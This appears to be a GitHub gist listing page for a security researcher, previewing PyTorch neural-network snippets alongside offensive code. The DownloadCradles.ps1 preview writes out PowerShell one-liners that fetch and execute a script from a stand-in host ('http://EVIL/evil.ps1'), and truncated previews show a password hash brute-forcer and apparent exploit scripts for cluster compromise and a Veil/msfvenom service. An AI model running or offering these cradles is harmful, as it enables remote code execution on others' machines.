Skip to content

Instantly share code, notes, and snippets.

Avatar

Brian Wallace bwall

View GitHub Profile
View noparamxor.py
import torch
from torch import nn
class NoParamXOR(nn.Module):
def __init__(self):
super(NoParamXOR, self).__init__()
def forward(self, plain, key):
cypher = (plain - key)
return torch.unsqueeze(torch.abs(cypher), 1)
View xorcnn.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@bwall
bwall / parallelresidual.py
Created Dec 17, 2019
Parallel Residual Layers
View parallelresidual.py
from torch import nn
import torch.nn.functional as F
import torch
class DTParallelResidual(nn.Module):
def __init__(
self,
in_features,
dropout=0.1,
activation=nn.ReLU(True),
@bwall
bwall / presnet.py
Last active Sep 13, 2019
Initial parallel residual layer design
View presnet.py
from torch import nn
import torch.nn.functional as F
class ParallelResidual(nn.Module):
def __init__(self, in_features):
super(ParallelResidual, self).__init__()
self.conv3 = nn.Sequential(
nn.Conv2d(in_features, in_features, kernel_size=3, padding=1),
nn.Dropout(0.1),
@bwall
bwall / Comparing RF and CNN Adversarial Samples.ipynb
Last active Jun 9, 2018
Comparing RF and CNN Adversarial Samples
View Comparing RF and CNN Adversarial Samples.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View [Work in Progress] Ashes.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View DownloadCradles.ps1
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@bwall
bwall / brute_force_hash_encoding.py
Created Jun 6, 2016
Attempt to brute force the hashing/encoding methods for stored passwords
View brute_force_hash_encoding.py
from hashlib import sha1, sha256, sha224, sha384, sha512, md5
from base64 import b64encode, b32encode
digest = "894b186bf79d4337c4f44140a2ec12b42d13a79f".decode("hex")
hexdigest = "894b186bf79d4337c4f44140a2ec12b42d13a79f"
methods = {
"encode_hex": lambda x: x.encode("hex"),
View Julia_Full_Cluster_Compromise.py
import socket
import time
import struct
from random import randint
TCP_IP = "172.16.195.169"
TCP_PORT = 9009
def send_payload(packet):
View exploit_veil_msfvenom.py
import socket
import json
def send_command(command, ip="127.0.0.1", port=4242):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print json.dumps(command)
s.send(json.dumps(command))
s.close()
You can’t perform that action at this time.